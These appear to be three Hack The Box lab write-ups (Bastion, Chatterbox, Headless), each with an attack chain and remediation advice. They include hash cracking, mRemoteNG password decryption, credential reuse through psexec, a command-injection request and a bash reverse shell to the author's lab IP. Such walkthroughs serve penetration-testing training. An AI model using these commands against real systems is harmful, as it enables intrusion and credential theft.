Bastion writeup

Box name: Bastion

Difficulty: Easy

OS: Windows

Overview: Bastion is an Easy level WIndows box which contains a VHD ( Virtual Hard Disk ) image from which credentials can be extracted. After logging in, the software MRemoteNG is found to be installed which stores passwords insecurely, and from which credentials can be extracted.

Link: https://app.hackthebox.com/machines/Bastion?sort_by=created_at&sort_type=desc

Machine IP: 10.129.136.29

Scanned the machine with rustscan.

The smb ports look like low hanging fruits so let’s check those out. Looks like there is a Backups directory with some files. Downloaded those.

There’s also a WindowImageBackup directory with a lot more inside. Read the note but just affirms that there’s a backup here. The other file had 0 bytes.

I poked around the other directories and files and the most interesting are .vhd files. This was taking forever to download. I looked at the writeup to see if I was on the right track and I am, but they use a windows machine to connect to the share. Unfortunately I don’t have enough resources to host a VM nor do I have access to a Windows machine so I’m just skipping this part. There would be a SAM file when we mount this though and that has hashes of the account.

*LATER EDIT: Apparently we can mount this with a linux machine with a few tools that I was not aware of. https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25*

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

Another fun thing is that I can’t crack these on my machine as again, I don’t have enough resources to crack hashes. Opened up the pwnbox and was able to crack the L4mpje password.

hashcat -m 1000 26112010952d963c8dc4217daec986d9 /usr/share/wordlists/rockyou.txt

L4mpje:bureaulampje

I was able to SSH into the device as port 22 was open.

We can get user.txt

Doing some local enumeration and I see mRemoteNG in Program Files (x86).

Doing some research we could possibly find credentials in a confCons.xml file.

The output is ugly but it looks like there is password for administrator. We can decrypt it with a python scripts found here https://github.com/haseebT/mRemoteNG-Decrypt.

python3 mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="

And we can log in to Administrator with the new credentials.

And we get root.txt

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 445 (SMB), and 135 (MSRPC). SMB looked like the most promising starting point.

2 – SMB enumeration and file retrieval Connected to SMB and found a Backups share containing a WindowsImageBackup directory. Inside were two large .vhd files alongside a note confirming a backup was present and a zero-byte file.

3 – VHD mounting and hash extraction The VHD files contained a Windows backup image. Mounting the VHD and navigating to the Windows/System32/config directory exposed the SAM file, which contained local account hashes.

Hashes recovered: L4mpje:26112010952d963c8dc4217daec986d9 Administrator:31d6cfe0d16ae931b73c59d7e0c089c0

4 – Hash cracking Used Hashcat on the HTB Pwnbox with rockyou to crack the L4mpje hash. The Administrator hash was an empty hash and not usable directly.

hashcat -m 1000 26112010952d963c8dc4217daec986d9 /usr/share/wordlists/rockyou.txt

Credentials recovered: L4mpje:bureaulampje

5 – SSH access and user flag Authenticated via SSH as L4mpje using the cracked password and retrieved user.txt.

6 – Privilege Escalation – mRemoteNG credential decryption Local enumeration identified mRemoteNG installed in Program Files (x86). Researched the application and found it stores saved connection credentials in confCons.xml. Located the file and found an encrypted Administrator password. Decrypted it using a public mRemoteNG decrypt script.

python3 mremoteng_decrypt.py -s “aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==”

7 – Root Authenticated as Administrator using the decrypted credentials and retrieved root.txt.

Key Takeaways

1. SMB share exposing a full Windows backup – The Backups share was accessible without authentication and contained a complete Windows image backup including the SAM database. Backup files are high-value targets as they often contain credentials and sensitive configuration data that would otherwise require local access to retrieve.
2. Local account hashes extractable from VHD – Mounting the VHD gave direct access to the SAM file, bypassing any need to touch the live system. Backups must be treated with the same security posture as the systems they represent and should never be stored on unauthenticated network shares.
3. Weak password crackable with rockyou – The L4mpje password was in the rockyou wordlist and cracked quickly. Local account passwords must meet complexity requirements and should be audited against common wordlists as part of regular security reviews.
4. mRemoteNG storing passwords insecurely – mRemoteNG encrypts saved credentials with a static default master password, making decryption trivial with publicly available tools. Any application that stores credentials must use strong, user-defined encryption keys and the storage location must be access controlled.
5. Administrator credentials reachable from a standard user session – The mRemoteNG config file containing Administrator credentials was readable by L4mpje. Sensitive application configuration files must have restrictive ACLs so only the owning user or service account can read them.

Remediation

[Immediate] Remove the backup share or require authentication Disable anonymous and guest access to all SMB shares. The Backups share should require authenticated access restricted to backup administrators only. Review all shares across the environment and remove any that expose sensitive data without authentication.

[Immediate] Relocate and protect backup files Windows image backups containing SAM files and other sensitive data must not be stored on network shares accessible to general users. Store backups in a dedicated, access-controlled backup solution with encryption at rest. Treat backup access with the same controls as domain administrator access.

[Immediate] Rotate all credentials extracted from the backup The L4mpje and Administrator credentials recovered from the SAM file and mRemoteNG must be considered fully compromised and rotated immediately.

[Short-term] Harden mRemoteNG configuration If mRemoteNG is required, configure it to use a strong custom master password for credential encryption. Restrict read access on confCons.xml to the owning user only. Evaluate whether a more secure remote management tool should replace it.

[Short-term] Enforce a strong password policy for local accounts Require a minimum password length of 15 characters with complexity for all local accounts. Audit existing local account passwords against common wordlists. Consider deploying Windows LAPS to manage and rotate local Administrator passwords automatically.

[Long-term] Implement a backup security standard Define a policy covering backup encryption, access controls, storage location, and retention. Backups should be encrypted before being written to any network location and decryption keys must be stored separately. Include backup systems in the scope of regular penetration tests.

Chatterbox writeup

Box name: Chatterbox

Difficulty: Medium

OS: Windows

Overview: Chatterbox is a fairly straightforward machine that requires basic exploit modification or Metasploit troubleshooting skills to complete.

Link: https://app.hackthebox.com/machines/Chatterbox?sort_by=created_at&sort_type=desc

Machine IP: 10.129.9.221

Ran rustscan.

rustscan -a 10.129.9.221 --ulimit 5000 -b 2000 -- -A -Pn

Checked out smb port but looks like I don’t get anything. 

smbclient -N -L //10.129.9.221/

Trying to check out the http server nothing resolves. I checked for exploits on Achat though and found this https://github.com/mpgn/AChat-Reverse-TCP-Exploit. Looks like its vulnerable to a buffer overflow. Edited the exploit and got a meterpreter but then my shell kept dying. After rewriting it with a windows/shell_reverse_tcp it’s more stable.

I will do manual enumeration first before using an automated tool as I still need windows practice. Also here is user.txt.

I checked an interesting registry key and tried reusing the password we have for Administrator I was able to get more privilege but not root.txt.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

But we atleast know that the password works. Got a shell with impacket-psexec.

impacket-psexec 'Administrator:Welcome1!@10.129.9.221'

But I still can’t read root.txt.

This took a bit but I was eventually able to grant everyone access to the file with icacls and then read it.

icacls C:\Users\Administrator\Desktop\root.txt /grant Everyone:F

GG

Attack Chain

1 — Reconnaissance Ran RustScan to identify open ports. Found SMB and ports 9255/9256 (Achat chat service). SMB returned nothing without credentials. HTTP did not resolve. Researched Achat and identified a known buffer overflow vulnerability.

rustscan -a 10.129.9.221 --ulimit 5000 -b 2000 -- -A -Pn smbclient -N -L //10.129.9.221/

2 — Initial Access — Achat buffer overflow Located a public Achat reverse TCP exploit. Edited the payload with the attacker IP and port. Initial Meterpreter shell was unstable and kept dying — rewrote the shellcode using windows/shell_reverse_tcp for a stable shell. Retrieved user.txt.

3 — Privilege Escalation — Winlogon credential reuse Performed manual Windows enumeration. Queried the Winlogon registry key and recovered stored credentials. Attempted to reuse the Administrator password — authentication succeeded but root.txt was not readable due to file permissions.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

4 — Lateral Movement — psexec as Administrator Used impacket-psexec with the recovered credentials to obtain an Administrator shell. root.txt was still unreadable due to restrictive ACLs on the file itself.

impacket-psexec 'Administrator:Welcome1!@10.129.9.221'

5 — Post-Exploitation — ACL manipulation to read root.txt Granted full access to root.txt for Everyone using icacls, then read the flag.

icacls C:\Users\Administrator\Desktop\root.txt /grant Everyone:F

Key Takeaways

1. Achat running on non-standard ports — The chat service was exposed on ports 9255/9256 with a known buffer overflow. Any non-standard service exposed to the network must be identified and assessed. Legacy or niche software rarely receives timely patches.
2. Credentials stored in Winlogon registry — Autologon credentials were stored in plaintext in the registry under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. This is a common misconfiguration that immediately hands attackers valid credentials.
3. Password reuse across accounts — The same password was valid for the Administrator account. Passwords must be unique per account. Credential reuse across privilege boundaries is a critical finding.
4. Overly permissive ACL modification allowed — A low or medium privilege user was able to run icacls to grant themselves access to a file owned by Administrator. Write permissions on sensitive file paths must be restricted.
5. Unstable exploit requiring shellcode adjustment — The initial Meterpreter payload was unreliable, requiring a switch to a simpler shell payload. This is common with buffer overflow exploits and highlights the importance of understanding the underlying exploit rather than relying on defaults.

Remediation

[Immediate] Patch or remove Achat Achat is an unsupported application with a public buffer overflow exploit. Remove it from all systems immediately. If a chat service is required, replace it with a supported, actively maintained alternative. Block ports 9255 and 9256 at the firewall.

[Immediate] Remove autologon credentials from registry Delete the plaintext credentials stored under the Winlogon registry key. Autologon should never be enabled on servers or systems accessible over a network. If autologon is required for operational reasons, use the Autologon utility with encrypted credential storage and restrict physical access to the machine.

[Immediate] Enforce unique passwords per account The Administrator account shared a password with another account. Implement a password policy enforcing uniqueness across accounts. Use a privileged access management (PAM) solution to rotate and vault Administrator credentials.

[Short-term] Restrict ACL modification permissions Audit which users can modify file ACLs using icacls or similar tools. Standard and service accounts should not have the ability to grant themselves or others access to files outside their scope. Apply the principle of least privilege to all file system permissions.

[Long-term] Audit all non-standard services and ports Implement a network asset inventory and regularly scan for services running on non-standard ports. Any application that cannot be patched or supported should be decommissioned. Include third-party and legacy chat, admin, and utility tools in the vulnerability management scope.

Headless writeup

Difficulty: Easy

OS: Linux

Overview: Headless is an easy-difficulty Linux machine that features a Python Werkzeug server hosting a website. The website has a customer support form, which is found to be vulnerable to blind Cross-Site Scripting (XSS) via the User-Agent header. This vulnerability is leveraged to steal an admin cookie, which is then used to access the administrator dashboard. The page is vulnerable to command injection, leading to a reverse shell on the box. Enumerating the user’s mail reveals a script that does not use absolute paths, which is leveraged to get a shell as root.

Link: https://app.hackthebox.com/machines/Headless?sort_by=created_at&sort_type=desc

Machine IP: 10.129.8.19

Scanned the machine with Rustscan.

rustscan -a 10.129.8.19 --ulimit 5000 -b 2000 -- -A -Pn

Checked out the http server.

Right away this reminded me of Shellshock but no suck if that would be the attack avenue. Kicked off feroxbuster.

feroxbuster -u http://10.129.8.19:5000/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

Nothing interesting in robots.txt or source code. The For questions buttons brings us to a new page.

I was playing around with some XSS and looks like I was flagged. 

This looks vulnerable to XSS. Something that would be interesting to find is the proper Cookie that gives us additional access, specifically to /dashboard that feroxbuster found. Currently this is catching our header though. Popped up an http listener and after some testing we were able to get the admin cookie.

curl -X POST http://10.129.8.19:5000/support \
-H "User-Agent: " \
--data-urlencode "fname=test" \
--data-urlencode "lname=test" \
--data-urlencode "email=test@test.com" \
--data-urlencode "phone=1234567890" \
--data-urlencode "message=killmepls"

Didn’t get a screenshot and this must be on some timer because rerunning the command I don’t get it. This was the response though is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0.

I added it to my cookie value in Storage Dev tools, refreshed and we get access to the Administrator Dashboard.

It looks like we can generate reports from this page. When running this it tells us the ‘Systems are up and running!’ This is likely running some command on the backend. In the input field I won’t be able to put a command. Confirmed with ‘id’.

curl -X POST http://10.129.8.19:5000/dashboard \
-H "Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0" \
--data-urlencode "date=2023-09-15;id""

Now we try and get a shell. After a bit of testing this worked:

curl -X POST http://10.129.8.19:5000/dashboard \
-H "Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0" \
--data-urlencode "date=2023-09-15;bash -c 'bash -i >& /dev/tcp/10.10.14.42/1337 0>&1'"”

Got user.txt

Ran sudo -l and we see /usr/bin/syscheck.

I checked GTFObins but it looks like it’s not a built in linux binary. I was able to read the file though.

As ./initdb.sh is calling the relative path and not an absolute path we can take advantage of that. Created my own initdb.sh that would get us root, ran the binary and we’re root.

GG

Full Attack Chain Summary

Key Takeaways

Trust no input — including headers. Most devs sanitize form fields but forget that User-Agent, Referer, and X-Forwarded-For are also attacker-controlled. Anything the server logs and later renders is an injection point.

Blind XSS is powerful precisely because you never see it fire. The payload lives in a log, gets rendered later in a different context (the admin panel), and executes there. Traditional XSS scanners often miss this entirely.

Session cookies without HttpOnly are trivially stealable. One flag would have broken the entire chain at step 4.

Relative paths in privileged scripts are a classic privesc. ./initdb.sh means “look in whatever directory I’m currently in” — an attacker controls that.

Remediations

Blind XSS — sanitize all HTTP headers before storing or rendering them. Use a Content Security Policy (CSP) to restrict what scripts can execute and where they can send data.

Cookie theft — set HttpOnly and Secure flags on session cookies. HttpOnly makes cookies inaccessible to JavaScript entirely.

Command injection — never pass user input directly to a shell. Use parameterized commands or a proper library (Python’s subprocess with a list, not a string).

Privilege escalation — always use absolute paths in scripts that run with elevated privileges. Audit sudo rules regularly and apply least privilege — dvir had no business running a system health script as root.